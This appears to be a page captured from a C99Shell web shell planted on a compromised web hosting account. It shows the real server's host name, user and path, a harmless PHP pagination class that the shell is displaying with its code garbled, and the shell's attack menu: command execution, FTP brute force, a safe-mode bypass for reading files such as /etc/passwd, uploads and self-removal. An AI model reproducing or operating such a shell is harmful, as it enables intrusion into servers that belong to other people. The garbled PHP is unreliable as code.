!C99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.4.45 

uname -a: Linux webm052.cluster007.gra.hosting.ovh.net 5.15.74-ovh-vps-grsec-zfs-classid #1 SMP Wed
Oct 26 09:50:47 UTC 2022 x86_64
 

uid=763961(ebenisteaz) gid=100(users) groups=100(users) 

Safe-mode: OFF (not secure)

/home/ebenisteaz/www/admin/class/   drwx---r-x
Free 0 B of 0 B (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     csspagination.class.php (4.31 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @author Dodit Suprianto
 * Email: d0dit@yahoo.com
 * Website: http://doditsuprianto.com, http://goiklan.co.nr
 * Website: http://www.meozit.com, http://easyads.co.nr
 * 
 * CSSPagination is a pagination class which combines with Cascading Style Sheet for good looking style; 
 * CSSPagination has main function to split all records before they will be loaded into one website, 
 * to be several records in one page (you can determine how many records in one page). 
 * So, if you want to jump at the other page, you can choose once of them. 
 * CSSPagination is easy to use and good looking. I try to throw the complexity code. 
 * The most important is, that you can change the CSS code to make it suitable with your own page style.
 */

class CSSPagination
{
    private 
$totalrows;
    private 
$rowsperpage;
    private 
$website;
    private 
$page;
    private 
$sql;
        
    public function 
__construct($sql$rowsperpage$website)
    {
        
$this->sql $sql;
        
$this->website $website;
        
$this->rowsperpage $rowsperpage;
    }
    
    public function 
setPage($page)
    {
        if (!
$page) { $this->page=1; } else  { $this->page $page; }
    }
    
    public function 
getLimit()
    {
        return (
$this->page 1) * $this->rowsperpage;
    }
    
    private function 
getTotalRows()
    {
        
$result = @mysql_query($this->sql) or die ("query failed!");    
        
$this->totalrows mysql_num_rows($result);
    }
    
    private function 
getLastPage()
    {
        return 
ceil($this->totalrows $this->rowsperpage);
    }
    
    public function 
showPage()
    {
        
$this->getTotalRows();
        
        
$pagination "";
        
$lpm1 $this->getLastPage() - 1;
        
$page $this->page;
        
$prev $this->page 1;
        
$next $this->page 1;
        
        
$pagination .= "<div class=\"pagination\"";
        if(isset(
$margin) || isset($padding))
        {
            
$pagination .= " style=\"";
            if(
$margin)
                
$pagination .= "margin: $margin;";
            if(
$padding)
                
$pagination .= "padding: $padding;";
            
$pagination .= "\"";
        }
        
$pagination .= ">";
        
        
        
        if (
$this->getLastPage() > 1)
        {
            if (
$page 1
                
$pagination .= "<a href=$this->website&page=$prev>« préc</a>";
            else
                
$pagination .= "<span class=\"disabled\">« préc</span>";
            
            
            if (
$this->getLastPage() < 9)
            {    
                for (
$counter 1$counter <= $this->getLastPage(); $counter++)
                {
                    if (
$counter == $page)
                        
$pagination .= "<span class=\"current\">".$counter."</span>";
                    else
                        
$pagination .= "<a href=$this->website&page=$counter>".$counter."</a>";                    
                }
            }
            
            elseif(
$this->getLastPage() >= 9)
            {
                if(
$page 4)        
                {
                    for (
$counter 1$counter 6$counter++)
                    {
                        if (
$counter == $page)
                            
$pagination .= "<span class=\"current\">".$counter."</span>";
                        else
                            
$pagination .= "<a href=$this->website&page=$counter/>".$counter."</a>";                    
                    }
                    
$pagination .= "...";
                    
$pagination .= "<a href=$this->website&page=$lpm1>".$lpm1."</a>";
                    
$pagination .= "<a href=$this->website&page=".$this->getLastPage().">".$this->getLastPage()."</a>";        
                }
                elseif(
$this->getLastPage() - $page && $page 1)
                {
                    
$pagination .= "<a href=$this->website&page=1>1</a>";
                    
$pagination .= "<a href=$this->website&page=2>2</a>";
                    
$pagination .= "...";
                    for (
$counter $page 1$counter <= $page 1$counter++)
                    {
                        if (
$counter == $page)
                            
$pagination .= "<span class=\"current\">".$counter."</span>";
                        else
                            
$pagination .= "<a href=$this->website&page=$counter>".$counter."</a>";                    
                    }
                    
$pagination .= "...";
                    
$pagination .= "<a href=$this->website&page=$lpm1>$lpm1</a>";
                    
$pagination .= "<a href=$this->website&page=".$this->getLastPage().">".$this->getLastPage()."</a>";        
                }
                else
                {
                    
$pagination .= "<a href=$this->website&page=1>1</a>";
                    
$pagination .= "<a href=$this->website&page=2>2</a>";
                    
$pagination .= "...";
                    for (
$counter $this->getLastPage() - 4$counter <= $this->getLastPage(); $counter++)
                    {
                        if (
$counter == $page)
                            
$pagination .= "<span class=\"current\">".$counter."</span>";
                        else
                            
$pagination .= "<a href=$this->website&page=$counter>".$counter."</a>";                    
                    }
                }
            }
        
        if (
$page $counter 1
            
$pagination .= "<a href=$this->website&page=$next>Suivant »</a>";
        else
            
$pagination .= "<span class=\"disabled\">Suivant »</span>";
        
$pagination .= "</div>\n";            
        }    
                    
        return 
$pagination;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.0175 ]--